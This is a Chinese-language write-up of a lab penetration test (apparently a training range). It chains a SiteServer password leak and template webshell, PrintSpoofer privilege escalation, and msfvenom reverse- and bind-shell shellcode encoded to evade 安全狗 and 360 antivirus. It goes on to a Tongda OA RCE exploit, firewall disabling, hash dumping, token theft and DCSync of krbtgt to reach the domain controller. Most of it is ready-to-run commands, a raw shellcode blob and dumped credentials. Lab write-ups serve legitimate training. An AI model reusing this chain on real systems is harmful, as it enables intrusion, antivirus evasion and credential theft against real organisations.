环境
windows 2016 web:192.168.2.29 - www.moonlab.com(外网)、10.10.1.131(内网)
windows server 2012 OA:10.10.10.166(内网)、10.10.1.130(内网)
windows server 2016 DC:10.10.10.165(内网)
目标web有iis安全狗和防火墙、目标OA有360全家桶
siteserver禁用JS得到后台账号密码
siteserver后台模版getshell
工作组下的内网渗透
MSF进行远程加载shellcode实现免杀绕过安全狗
通达OA获取webshell
域环境下的内网渗透
MSF进行本地加载shellcode实现免杀绕过360全家桶
命令行渗透
... 等等
渗透过程
信息搜集
首先使用nmap对目标进行扫描:
nmap -A -p- -sV 192.168.2.29
发现目标开放了21(ftp)、80(http,iis10)、999(http,phpmyadmin)、5985(http)、6588(http),有一个域名(www.moonlab.com)
由于手工测试目标WEB有安全狗:
那么我们在扫描目录文件的时候,需要吧线程调到最小,我这里使用的扫描工具是dirb:
dirb http://www.moonlab.com/ /usr/share/wordlists/dirb/small.txt -z 1000
# -z 线程设置为1秒
其他的目录文件都没用,只有这个目录打开是一个后台页面:/siteserver/
SiteServer禁用JS获取后台账号密码
看到这个CMS(siteserver),我想起了之前遇到过一个站,可以禁用JS来找回后台管理员密码,具体操作在'忘记密码',输入'admin','禁用JS',然后就能获取到'admin'的密码了:
我用到的插件是:Quick Javascript Switcher
在忘记密码页面处,先输入后台账号名admin,然后禁用掉JS,之后点击下一步:
之后什么都不用填,一直下一步就可以:
这个时候就能够成功获取到目标后台的账号密码:admin:admin5566
成功登陆后台系统:
SiteServer 后台模板 Getshell
具体拿shell方法在'系统管理','站点模版管理','导入站点模版',把我们的过狗aspx的一句话压缩为rar上传到目标模版里:
之后得到webshell:http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx
Webshell 工作组下的内网渗透
拿到shell之后需要对目标进行内网渗透,渗透前需要搜集信息判断目标是工作组还是域环境,两种环境渗透思路不一样:systeminfo
发现目标主机是 Windows Server 2016 对,是工作组环境,而且补丁没怎么打过.
whoami 发现是一个 iis 的普通权限:
并且发现目标主机上有iis安全狗:
针对于 windows 2016 可以使用 SeImpersonatePrivilege 来进行本地提权:https://github.com/itm4n/PrintSpoofer
我吧PrintSpoofer.exe上传到主机临时目录下:
之后运行命令成功提权:
PrintSpoofer.exe -i -c whoami
之后为了进行有效的内网渗透得想办法让目标上线MSF或者CS,既然目标上面有安全狗,那么我们一定要做好免杀!
Metasploit 下远程加载 Shellcode 实现免杀
首先使用MSF生成一个Shellcode:实现混淆加密
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=53 -b '\x00' -f c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
得到shellcode:
bea02e598adbced97424f45a2bc9b15631721383c2040372afccac7647924f8797f3c662a633bce79883b6aa146f9a5eaf1d335018ab655f998056fe19db8a202014df21654912733e0581644b531a0e07751af3df740ba2542f8b44b95b825ede665cd4141c5f3c65ddcc014a2c0c456ccf7bbf8f727c04f2a8099f543aa97b65ef2c0f69443a576d5befe389d00e2418a234e0417054b12fd769a19088cfa93cdc7df028114c0ba83dc7789ae27317966b5ae0af7c5d3e17eca3bf672460eb375e4194dc9e6e414895f8aa24abe44236ac14a6bf4a4498efc225484fb3cd8240eceeac8b85854265fd31fa2c75a303fbf3e3880903ad787817da1e82e71b8b828d1f1dd539227811e6ddaf22e1222e129915a41af559289a050c229a6de816c988f7827e01622dd6f52545d42001ca2707110dd7d53eb6bf257f463f4c7f16579b509997647bf2bfefeab05eef2614fef0c58df18ba632f26baf56f36bcf68c8bdf61e0f7e4d103a23e4bb4477f6e9
然后监听kali的8080端口:
ruby shellcode.rb 8080
之后设置MSF监听模块进行监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.28
set lport 53
exploit
随后使用吧shellcode加载器上传到目标服务器配合PrintSpoofer.exe然后远程加载kali的shellcode成功上线:
PrintSpoofer.exe -i -c "shellcode.exe 8080 192.168.2.28"
这个时候就是一个系统权限:
因为我们的权限是一个32位的权限,所以我们需要对目标主机进行权限维持,吧权限迁移到64位到system权限上:
之后加载mimikatz抓取密码发现没抓到hash值:
我们就用MSF到后渗透post模块来抓hash:post/windows/gather/smart_hashdump
可以使用下面两种方法:
hashdump
run post/windows/gather/smart_hashdump 这个不太准,有的时候hash是一样的
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::
之后通过md5解密得到administrator的密码为:!@#QWE123
由于目标是没有开放 3389 远程桌面的,我们如果想要登陆目标远程桌面的话,需要给他开启一下:
run post/windows/manage/enable_rdp
一般没必要登陆到目标远程桌面!
之后对他内网主机进行搜集,先看看ip网段:
run get_local_subnets
发现目标有两个网段,一个 192.168.2.0 外网,一个 10.10.1.0 内网网段。
随后添加一个 10.10.1.0 的路由进行内网扫描:
run autoroute -s 10.10.1.0/24
然后使用 arp 模块对内网进行扫描存活主机:
run arp_scanner -r 10.10.1.0/24
发现目标 10.10.1.130 存活,这个时候就可以对目标进行更详细的信息搜集了!
因为是内网,所以我们需要做一层代理,吧web这台机器当作跳板来使用。
先添加一个 socks 代理:
use auxiliary/server/socks4a
然后修改一下proxychains.conf文件:端口也修改为MSF对1080端口
vi /etc/proxychains.conf
之后就可以对 10.10.1.130 内网进行端口扫描了:扫描只能使用tcp扫描
proxychains nmap -sT -Pn -p 1-65535 10.10.1.130
然后发现目标 10.10.1.130 只开放了 80 端口,估计有防火墙,那么我们就来打开看看目标的web,这里一定要使用proxychains来打开浏览器!
proxychains firefox
发现目标80是一个通达OA系统!既然是通达OA,那么根据之前HW的漏洞,找到了一个针对于通达OA的rce利用的exp:
git clone https://github.com/wikiZ/tongda-exp-poc
然后运行 exp :
proxychains python3 tongda\ exp.py -H http://10.10.1.130 -file-shell
得到一枚webshell:http://10.10.1.130/ispirit/interface/xiaoma.php
然后使用蚁剑链接前要设置一下socks4代理,代理服务器填写kali的ip,端口填写1080:
OA 下的域内渗透
首先拿到shell先看看是什么权限:
当前权限是一个系统权限,还是挺不错的!
随后 ipconfig 发现目标是一个域环境,而且是双网卡,10.10.1.130、10.10.10.166:
然后查看进程 tasklist 发现目标进程是有360杀毒全家桶的:
查看目标服务也能看到目标有360全家桶和防火墙:
由于目标防火墙(windows firewall)可能会对我们的操作有影响,我们直接使用命令给他关掉:
Netsh advfirewall set allprofiles state off
Shellcode 本地加载实现免杀绕过 360全家桶
既然拿到shell了,那么先让目标上线到MSF吧,首先使用MSF生成一个shellcode正向木马:
msfvenom -p windows/meterpreter/bind_tcp lport=9898 -e x86 /ikata_ga_nai -i 5 -f raw > test.c
然后MSF设置监听:
proxychains msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 9898
set rhost 10.10.1.130
然后吧 test.c 和 shellcode 加载器上传到目标机器上运行成功上线:
shellcode_launcher.exe -i test.c
拿到meterpreter先进行权限维持,迁移一下进程:
migrate 5432
hashdump 抓到 administrator 的 hash:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
既然是域环境,那么先定位一下域控吧:
run post/windows/gather/enum_domain
发现域名是attack,域控dc的ip为10.10.10.165,而当前主机的另一个内网网卡ip为10.10.10.166 .
还可以查看登陆的用户和sid信息:
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-18 NT AUTHORITY\SYSTEM
S-1-5-21-4052809752-717748265-227546684-500 ATTACK\administrator
[+] Results saved in: /root/.msf4/loot/20201117155658_default_10.10.1.130_host.users.activ_526094.txt
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-3252981389-920624007-1327000051-500 C:\Users\Administrator
S-1-5-21-4052809752-717748265-227546684-1103 C:\Users\oa
S-1-5-21-4052809752-717748265-227546684-500 C:\Users\administrator.ATTACK
sid做票据传递攻击会使用到,所以我们先搜集到。
查看域内主机有那些:
run post/windows/gather/enum_ad_computers
发现只有当前OA还有一台域控DC。
接下来尝试进行令牌窃取,因为有域控进程:
相关文章可以看我博客:http://www.saulgoodman.cn/metasploit-10.html
use incognito
list_tokens -u
接下来切换域管的令牌:
impersonate_token 'ATTACK\administrator'
成功拿到域管的权限(令牌窃取并不等于提权)。
这个时候渗透已经完成80%了。
因为我们到目标是拿到域控制器这台主机,因此我们还需要进行更深的内网渗透,所以我再做一层代理:获取网段
run get_local_subnets
由于刚刚我们搜集到的信息域控是在 10.10.10.0 这个网段,那么我们为它添加一个路由:
run autoroute -s 10.10.10.0/24
随后对域控dc进行端口扫描:
proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open
但是没有扫描到:
估计目标域控有防火墙及杀软!
我们加载一下MSF自带的kiwi:
load kiwi
然后窃取一个域管的权限令牌:
steal_token 3856
这个时候就拿到了域管的 ntlm-hash、sid:
meterpreter > dcsync_ntlm administrator
[+] Account : administrator
[+] NTLM Hash : ccef208c6485269c20db2cad21734fe7
[+] LM Hash : e1ba1721b0d8ed3a7636018c9337380c
[+] SID : S-1-5-21-4052809752-717748265-227546684-500
[+] RID : 500
这个时候也拿到了 krbtgt 的 ntlm-hash 和 sid:这个用户用于做黄金票据用的
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID : S-1-5-21-4052809752-717748265-227546684-502
[+] RID : 502
通过解密域管的密码我们得到密码为:Admin12345
这个时候我们就可以通过与域控建立IPC链接:
net use \\10.10.10.165 /u:attack\administrator Admin12345
最后也是在域控 10.10.10.165 主机下的 C:\users\administrator\ 拿到了 flag,完成本次渗透!
总结
这篇文章用到的技术还是挺多的,适合学习内网渗透的学习人员,本次靶场来自于暗月师傅的靶场,大家需要培训的话可以找暗月师傅。
喜欢这篇文章的话大家转发文章支持一下作者!